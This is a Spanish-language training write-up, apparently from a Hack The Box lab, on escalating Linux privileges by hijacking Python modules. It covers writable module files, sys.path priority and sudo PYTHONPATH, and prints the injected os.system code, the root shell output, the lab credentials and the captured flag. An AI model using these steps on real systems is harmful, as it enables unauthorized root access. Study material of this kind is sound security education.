Page cover

🐧Secuestro de librería de Python

Python es uno de los lenguajes de programación más populares y utilizados del mundo y ya ha sustituido a muchos otros lenguajes de programación en la industria de TI. Hay muchas razones por las que Python es tan popular entre los programadores. Una de ellas es que los usuarios pueden trabajar con una amplia colección de bibliotecas.

En Python se utilizan muchas bibliotecas que se emplean en muchos campos diferentes. Una de ellas es NumPy , una extensión de código abierto para Python. NumPy proporciona funciones precompiladas para el análisis numérico. En particular, permite un manejo sencillo de listas y matrices extensas. Sin embargo, ofrece muchas otras funciones esenciales, como funciones de generación de números aleatorios, transformada de Fourier, álgebra lineal y muchas otras. Además, NumPy proporciona muchas funciones matemáticas para trabajar con matrices y arreglos.

Otra biblioteca es Pandas , Pandas una biblioteca para el procesamiento y análisis de datos con Python. Amplía Python con estructuras de datos y funciones para procesar tablas de datos. Una de las fortalezas de Pandas es el análisis de series temporales.

Python cuenta con la biblioteca estándar de Python , con muchos módulos incorporados desde una instalación estándar de Python. Estos módulos ofrecen muchas soluciones que de otro modo tendrían que elaborarse laboriosamente escribiendo nuestros programas. Aquí se ahorran incontables horas de trabajo si se tiene una visión general de los módulos disponibles y sus posibilidades. El sistema modular está integrado en esta forma por razones de rendimiento. Si se tuvieran todas las posibilidades disponibles de inmediato en la instalación básica de Python sin importar el módulo correspondiente, la velocidad de todos los programas Python se vería muy afectada.

Importación de módulos

En Python, podemos importar módulos con bastante facilidad:

#!/usr/bin/env python3

# Metodo 1
import pandas

# Metodo 2
from pandas import *

# Metodo 3
from pandas import Series

Hay muchas formas de piratear una biblioteca de Python. Mucho depende del script y de su contenido. Sin embargo, hay tres vulnerabilidades básicas en las que se puede piratear:

  1. Permisos de escritura incorrectos

  2. Ruta de la biblioteca

  3. Variable de entorno PYTHONPATH


Permisos de escritura incorrectos

Por ejemplo, podemos imaginar que estamos en el host de un desarrollador en la intranet de la empresa y que el desarrollador está trabajando con Python. Por lo tanto, tenemos un total de tres componentes que están conectados. Este es el script de Python real que importa un módulo de Python y los privilegios del script, así como los permisos del módulo.

Es posible que uno u otro módulo de Python tenga permisos de escritura establecidos para todos los usuarios por error. Esto permite editar y manipular el módulo de Python para que podamos insertar comandos o funciones que produzcan los resultados que deseamos. Si se han asignado permisos SUID/ SGID al script de Python que importa este módulo, nuestro código se incluirá automáticamente.

Si observamos los permisos establecidos del script mem_status.py, podemos ver que tiene un conjunto SUID.

htb-student@lpenix:~$ ls -l mem_status.py

-rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem_status.py

De esta forma podemos ejecutar este script con los privilegios de otro usuario, en nuestro caso como root. También tenemos permiso para ver el script y leer su contenido.

#!/usr/bin/env python3
import psutil

available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total

print(f"Available memory: {round(available_memory, 2)}%")

Este script es bastante simple y solo muestra la memoria virtual disponible en porcentaje. También podemos ver en la segunda línea que este script importa el módulo psutil y utiliza la función virtual_memory().

Entonces podemos buscar esta función en la carpeta de psutil y verificar si este módulo tiene permisos de escritura para nosotros.

Permisos del módulo

htb-student@lpenix:~$ grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*

/usr/local/lib/python3.8/dist-packages/psutil/__init__.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psaix.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psbsd.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pslinux.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psosx.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pssunos.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pswindows.py:def virtual_memory():


htb-student@lpenix:~$ ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py

-rw-r--rw- 1 root staff 87339 Dec 13 20:07 /usr/local/lib/python3.8/dist-packages/psutil/__init__.py

Estos permisos son más comunes en entornos de desarrollo donde muchos desarrolladores trabajan en diferentes scripts y pueden requerir privilegios más altos.

Contenido del módulo

...SNIP...

def virtual_memory():

	...SNIP...
	
    global _TOTAL_PHYMEM
    ret = _psplatform.virtual_memory()
    # cached for later use in Process.memory_percent()
    _TOTAL_PHYMEM = ret.total
    return ret

...SNIP...

Esta es la parte de la librería donde podemos insertar nuestro código. Se recomienda ponerlo justo al principio de la función. Allí podemos insertar todo lo que consideremos correcto y efectivo. Podemos importar el módulo os para realizar pruebas, lo que nos permite ejecutar comandos del sistema. Con esto podemos insertar el comando id y comprobar durante la ejecución del script si se ejecuta el código insertado.

Contenido del módulo - Secuestro

...SNIP...

def virtual_memory():

	...SNIP...
	#### Hijacking
	import os
	os.system('id')

    global _TOTAL_PHYMEM
    ret = _psplatform.virtual_memory()
    # cached for later use in Process.memory_percent()
    _TOTAL_PHYMEM = ret.total
    return ret

...SNIP...

Ahora podemos ejecutar el script como sudo y comprobar si obtenemos el resultado deseado.

Escalada de privilegios

htb-student@lpenix:~$ sudo /usr/bin/python3 ./mem_status.py

uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
Available memory: 79.22%

Éxito. Como podemos ver en el resultado anterior, pudimos secuestrar la biblioteca y ejecutar nuestro código dentro de la función virtual_memory() como root. Ahora que tenemos el resultado deseado, podemos editar la biblioteca nuevamente, pero esta vez, insertando un reverse shell que se conecta a nuestro host como root.


Ruta de la biblioteca

En Python, cada versión tiene un orden específico en el que se buscan y se importan las bibliotecas (modulos). El orden en el que Python importa los modulos se basa en un sistema de prioridades, lo que significa que las rutas que se encuentran más arriba en la lista tienen prioridad sobre las que se encuentran más abajo. Podemos ver esto emitiendo el siguiente comando:

Listado de PYTHONPATH

htb-student@lpenix:~$ python3 -c 'import sys; print("\n".join(sys.path))'

/usr/lib/python38.zip
/usr/lib/python3.8
/usr/lib/python3.8/lib-dynload
/usr/local/lib/python3.8/dist-packages
/usr/lib/python3/dist-packages

Para poder utilizar esta variante son necesarios dos requisitos previos.

  1. El módulo que importa el script se encuentra bajo una de las rutas de menor prioridad enumeradas a través de la variable PYTHONPATH.

  2. Debemos tener permisos de escritura en una de las rutas que tenga mayor prioridad en la lista.

Por lo tanto, si el módulo importado se encuentra en una ruta más abajo en la lista y nuestro usuario puede editar una ruta de mayor prioridad, podemos crear un módulo nosotros mismos con el mismo nombre e incluir nuestras propias funciones deseadas. Dado que la ruta de mayor prioridad se lee antes y se examina en busca del módulo en cuestión, Python accede al primer resultado que encuentra y lo importa antes de llegar al módulo original y deseado.

Para que esto tenga un poco más de sentido, continuemos con el ejemplo anterior y mostremos cómo se puede aprovechar. Anteriormente, el módulo psutil se importó al script mem_status.py. Podemos ver la ubicación de instalación predeterminada de psutil emitiendo el siguiente comando:

Ubicación de instalación predeterminada de Psutil

htb-student@lpenix:~$ pip3 show psutil

...SNIP...
Location: /usr/local/lib/python3.8/dist-packages

...SNIP...

En este ejemplo, podemos ver que psutil está instalado en la siguiente ruta: /usr/local/lib/python3.8/dist-packages. De nuestra lista anterior de la variable PYTHONPATH, tenemos una cantidad razonable de directorios para elegir y ver si puede haber alguna configuración incorrecta en el entorno que nos permita acceso de escritura a alguno de ellos. Vamos a comprobarlo.

Permisos de directorio mal configurados

htb-student@lpenix:~$ ls -la /usr/lib/python3.8

total 4916
drwxr-xrwx 30 root root  20480 Dec 14 16:26 .
...SNIP...

Después de comprobar todos los directorios enumerados, parece que la ruta /usr/lib/python3.8 está mal configurada de forma que permite que cualquier usuario escriba en ella. Al compararla con los valores de la variable PYTHONPATH, podemos ver que esta ruta está más arriba en la lista que la ruta en la que psutil está instalado. Intentemos abusar de esta configuración incorrecta para crear nuestro propio módulo que contenga nuestra propia función psutil maliciosa dentro del directorio virtual_memory()/usr/lib/python3.8

Contenido del módulo secuestrado - psutil.py

#!/usr/bin/env python3

import os

def virtual_memory():
    os.system('id')

Para llegar a este punto, necesitamos crear un archivo llamado psutil.py que contenga los contenidos enumerados anteriormente en el directorio mencionado anteriormente. Es muy importante que nos aseguremos de que el módulo que creamos tenga el mismo nombre que la importación, así como la misma función con la cantidad correcta de argumentos que se le pasan como la función que pretendemos secuestrar. Esto es fundamental, ya que sin que se cumpla alguna de estas condiciones true, no podremos realizar este ataque. Después de crear este archivo que contiene el ejemplo de nuestro script de secuestro anterior, hemos preparado con éxito el sistema para la explotación.

Ejecutemos nuevamente el script mem_status.py con sudocomo en el ejemplo anterior.

Escalada de privilegios mediante el secuestro de la ruta de la biblioteca de Python

htb-student@lpenix:~$ sudo /usr/bin/python3 mem_status.py

uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
  File "mem_status.py", line 4, in <module>
    available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total
AttributeError: 'NoneType' object has no attribute 'available' 

Como podemos ver en el resultado, hemos obtenido la ejecución como root con éxito secuestrando la ruta del módulo mediante una configuración incorrecta en los permisos del directorio /usr/lib/python3.8


Variable de entorno PYTHONPATH

En la sección anterior, abordamos el término PYTHONPATH, sin embargo, no explicamos completamente su uso e importancia con respecto a la funcionalidad de Python. PYTHONPATH es una variable de entorno que indica en qué directorio (o directorios) Python puede buscar módulos para importar. Esto es importante ya que si a un usuario se le permite manipular y configurar esta variable mientras ejecuta el binario de Python, puede redirigir efectivamente la funcionalidad de búsqueda de Python a una ubicación definida por el usuario cuando llegue el momento de importar módulos. Podemos ver si tenemos los permisos para configurar variables de entorno para el binario de Python al verificar nuestros permisos sudo:

Comprobando los permisos de sudo

htb-student@lpenix:~$ sudo -l 

Matching Defaults entries for htb-student on ACADEMY-LPENIX:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User htb-student may run the following commands on ACADEMY-LPENIX:
    (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3

Como podemos ver en el ejemplo, se nos permite ejecutar /usr/bin/python3 bajo los permisos de confianza de sudo y, por lo tanto, se nos permite configurar variables de entorno para usar con este binario mediante la flag SETENV:. Es importante tener en cuenta que, debido a la naturaleza confiable de sudo, cualquier variable de entorno definida antes de llamar al binario no está sujeta a ninguna restricción con respecto a poder configurar variables de entorno en el sistema. Esto significa que, al usar el binario /usr/bin/python3, podemos configurar de manera efectiva cualquier variable de entorno en el contexto de nuestro programa en ejecución. Intentemos hacerlo ahora usando el script psutil.py de la sección anterior.

Escalada de privilegios mediante la variable de entorno PYTHONPATH

htb-student@lpenix:~$ sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py

uid=0(root) gid=0(root) groups=0(root)
...SNIP...

En este ejemplo, hemos movido el script de Python anterior del directorio /usr/lib/python3.8 a /tmp. Desde aquí, volvemos a llamar a /usr/bin/python3 para correr mem_stats.py, sin embargo, especificamos que la variable PYTHONPATH contiene el directorio /tmp para que fuerce a Python a buscar en ese directorio el módulo psutil que se va a importar. Como podemos ver, una vez más hemos ejecutado con éxito nuestro script en el contexto de root.


Caso práctico

SSH a 10.129.205.114 (ACADEMY-LLPE-PYHIJACK)
Usuario "htb-student"
Contraseña "HTB_@cademy_stdnt!"

Siga los ejemplos de esta sección para escalar privilegios. Intente practicar el secuestro de bibliotecas de Python a través de los distintos métodos que se describen. Envíe el contenido de flag.txt con el usuario root como respuesta.

Al acceder por SSH nos encontramos un ejecutable mem_status.py en python que podemos ejecutar como root:

htb-student@ubuntu:~$ ls -la
total 36
drwxr-xr-x 3 htb-student htb-student 4096 Jun 14  2023 .
drwxr-xr-x 4 root        root        4096 Jun  5  2023 ..
lrwxrwxrwx 1 root        root           9 Jun 14  2023 .bash_history -> /dev/null
-rw-r--r-- 1 htb-student htb-student  220 May 19  2023 .bash_logout
-rw-r--r-- 1 htb-student htb-student 3771 May 19  2023 .bashrc
drwx------ 2 htb-student htb-student 4096 Jun  5  2023 .cache
-rwSrwxr-x 1 root        root         192 May 19  2023 mem_status.py
-rw-r--r-- 1 htb-student htb-student  807 May 19  2023 .profile
-rw------- 1 htb-student htb-student 8073 Jun  8  2023 .viminfo

Al comprobar los permisos de ejecución encontramos que este usuario puede ejecutar este script libremente:

htb-student@ubuntu:~$ sudo -l
Matching Defaults entries for htb-student on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User htb-student may run the following commands on ubuntu:
    (ALL) NOPASSWD: /usr/bin/python3 /home/htb-student/mem_status.py

Al leer el archivo vemos que tiene importado el módulo psutil, así que vamos a secuestrarlo:

#!/usr/bin/env python3
import psutil 

available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total

print(f"Available memory: {round(available_memory, 2)}%")

Hijacking del módulo psutil

Si puedes controlar el entorno donde se ejecuta este script, puedes engañar a Python para que cargue un módulo malicioso en lugar del módulo legítimo psutil.

Paso 1: Crea un archivo psutil.py malicioso

En el directorio actual, crea un archivo llamado psutil.py con el siguiente contenido:

import os

# Código malicioso: abre una shell con privilegios root
os.system("/bin/bash")
htb-student@ubuntu:~$ ls
mem_status.py  psutil.py

Paso 2: Asegúrate de que Python priorice tu archivo

Python busca módulos en las rutas especificadas en PYTHONPATH o en el directorio actual antes de cargar los módulos del sistema. Para aprovechar esto, configura el entorno:

htb-student@ubuntu:~$ export PYTHONPATH=.
htb-student@ubuntu:~$ sudo /usr/bin/python3 /home/htb-student/mem_status.py

Verificación

Después de ejecutar, deberías ver que obtienes una shell con permisos elevados:

root@ubuntu:/home/htb-student# id
uid=0(root) gid=0(root) groups=0(root)

root@ubuntu:/home/htb-student# whoami
root
root@ubuntu:/home/htb-student# cd /root

root@ubuntu:~# ls
flag.txt  snap

root@ubuntu:~# cat flag.txt 
HTB{3xpl0i7iNG_Py7h0n_lI8R4ry_HIjiNX}

Última actualización

¿Te fue útil?